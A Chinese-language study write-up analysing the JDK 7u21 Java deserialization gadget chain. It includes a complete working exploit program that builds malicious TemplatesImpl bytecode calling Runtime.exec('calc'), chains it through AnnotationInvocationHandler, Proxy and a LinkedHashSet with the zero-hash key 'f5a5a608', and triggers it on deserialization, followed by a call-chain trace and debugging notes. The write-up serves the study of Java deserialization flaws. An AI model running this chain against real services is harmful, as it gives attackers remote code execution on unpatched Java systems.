0x01 前言
在Java的反序列化中,有一个经典的漏洞,在没有存在反序列化漏洞的第三方库的情况下, 可以利用其实现反序列化漏洞的利用,那就是jdk版本7u21
及以前的版本存在的利用链,可以利用jdk的原生代码实现反序列化漏洞。该反序列化漏洞的sink
也是TemplatesImpl
类,但source
则为hashset
,该利用链会比较复杂一些,中间利用到了动态代理、CB链中的TemplatesImpl.getOutputProperties
方法和CC7中的哈希碰撞问题。
0x02 相关知识
AnnotationInvocationHandler#equalsImpl
该方法中可利用部分在else语句块中,所以前两个if不能满足,首先是第一个if,传入参数不能等于AnnotationInvocationHandler
其本身,第二个if是传入的参数必须是this.type
类的实例。
比较关键的三行已经标红,跟进this.getMenberMethods
,该方法会获取this.type
类中的所有方法并返回。
然后是this.asOneOfUs
方法,该方法会判断传入参数是否是代理类,如果是则获取该代理类的InvocationHandler
对象并判断其是否是AnnotationInvocationHandler
类实例。
接着调用Method#invoke
方法,所以equalsImpl
方法会遍历this.type
类的所有方法并进行调用。而我们传入Templates
类作为this.type
的值,而Templates
接口类只有两个方法newTransformer
方法和getOutputProperties
方法,这两个方法则会引起恶意字节码加载。
所需条件:
- 传入参数为
Templates
实例,即TemplatesImpl
实例 AnnotationInvocationHandler
的type属性为Templates
接口类AnnotationInvocationHandler#invoke
invoke
中会调用到equalsImpl
方法,该方法有些眼熟,我们在CC1中使用动态代理对AnnotationInvocationHandler
进行了套娃。该方法作为代理类的劫持方法,只要代理的类中调用任何方法都会触发invoke
方法,而在该链中需要proxy
类调用方法为equals
,并且该方法的参数只能为1
个并且参数类型必须是Object
类型,传入参数是TemplatesImpl
。所以我们需要找到一个类存在equals(Object obj)
方法并且在反序列化时调用到。
HashMap#put
HashMap#put
方法会将当前的key
和entry
中的其它的key
进行比较,如果两者hash
相同,则会比较两个对象的地址是否相同或者引用的对象相同。而HashSet
实际是由HashMap
实现的,在HashSet
进行反序列化时会调用到map.put
方法。所以我们需要让Proxy
实例和TemplatesImpl
实例hash
相同。
Proxy#hashcode
Proxy#hashcode
方法依旧会触发AnnotationInvocationHandler#invoke
方法,进而调用AnnotationInvocationHandler#hashCodeImpl
方法,该方法会将this.memberValues
中所有的的key-value
进行如下计算并求和:(127 * key.hashCode()) ^ value.hashCode()
这里有一个trick:0
异或任何数都等于那个数本身,所以只要找到一个key
的hashCode
为0
,那么整个表达式就变成了(127*0)^value.hashCode()
,即value.hashCode
。如果我们的key
传入hashCode
为0
,value
为TemplatesImpl
,那么则可以保证proxy.hash
与templatesImpl
的hash
相同。
对于如何找到hash为0的key,p牛给出了如下代码,最后跑出来的第一个字符串为f5a5a608
public static void bruteHashCode()
{
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}
}
0x03 利用链分析
利用链如下: ```java package com.kemoon;
import javassist.ClassPool; import javassist.CtClass;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashSet; import java.util.Map;
public class JDK7u21 { public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("JDK7u21");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"jdk7u21");
String zeroHashCodeStr = "f5a5a608";
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templatesImpl);
set.add(proxy);
// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templatesImpl);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
首先代码第一部分使用`javassist`生成恶意字节码和`TemplatesImpl`反射加载字节码跟之前的链没什么区别,直接略过。从以下代码开始,这部分代码创建了一个`HashMap`,其中`key`值设置为`hash`为0的字符串,理论上`value`值应该设置为`templatesImpl`,为什么要先随便设置值呢?
```java
String zeroHashCodeStr = "f5a5a608";
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
实例化AnnotationInvocationHandler
类,同时将之前的HashMap
赋给AnnotationInvocationHandler
的memberValues
。
// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
为Templates
接口创建动态代理,为什么要给TemplatesImpl
接口创建动态代理而不是其它接口呢?经过实验发现使用其它接口也是可以的,比如Map
接口,因为我们最终调用到的时Proxy#hashCode
方法,而该方法会调用this.hashCodeImpl
,跟proxy
实现哪个接口没有关系。
// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
实例化HashSet
,将proxy
对象和templatesImpl
对象添加到hashSet
中。这里有一个问题,为什么创建的是LinkedHashSet
而不是HashSet
?
// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templatesImpl);
set.add(proxy);
最后,在map
中添加hash
为0的key
,templatesImpl
作为value
。
// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templatesImpl);
利用链:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode()
LinkedHashSet.add()
...
Proxy(Templates).hashCode()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.hashCodeImpl()
String.hashCode()
AnnotationInvocationHandler.memberValueHashCode()
TemplatesImpl.hashCode()
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
0x04 利用链调试
HashSet#readObject
,读取两个元素并添加map中HashMap#put
,传入参数为key-TemplatesImpl
和value-PRESENT
,这里暂时不理解PRESENT。HashMap#put
,传入参数为key-Proxy
HashMap#hash(Proxy)
,k为proxy
实例,proxy.hashCode
触发invoke
方法。AnnotationInvocationHandler#invoke
AnnotationInvocationHandler#hashCodeImpl
,该方法会从memberValues
中对key-value
求hash
。AnnotationInvocationHandler#invoke
AnnotationInvocationHandler#equalsImpl
方法,反射调用this.type
的所有方法,传入参数为TemplatesImpl
对象,method
为newTransformer
。
经过测试,发现HashSet
也是偶尔可以成功的,但是进行调试的时候一直可以成功。后来通过打印HashSet
,可以看到我们传入的templatesImpl
和proxy
的顺序跟我们传入的顺序没有关系,是随机的。而我们的利用链要保证成功需要templatesImpl
为第一个元素,proxy
为第二个元素。因此使用LinkedHashSet
,LinkedHashSet
不会更改我们插入元素的顺序。
0x05 总结
JDK7u21比较复杂,p牛的《java安全漫谈》也快看完了,接下来主要不是看链子了。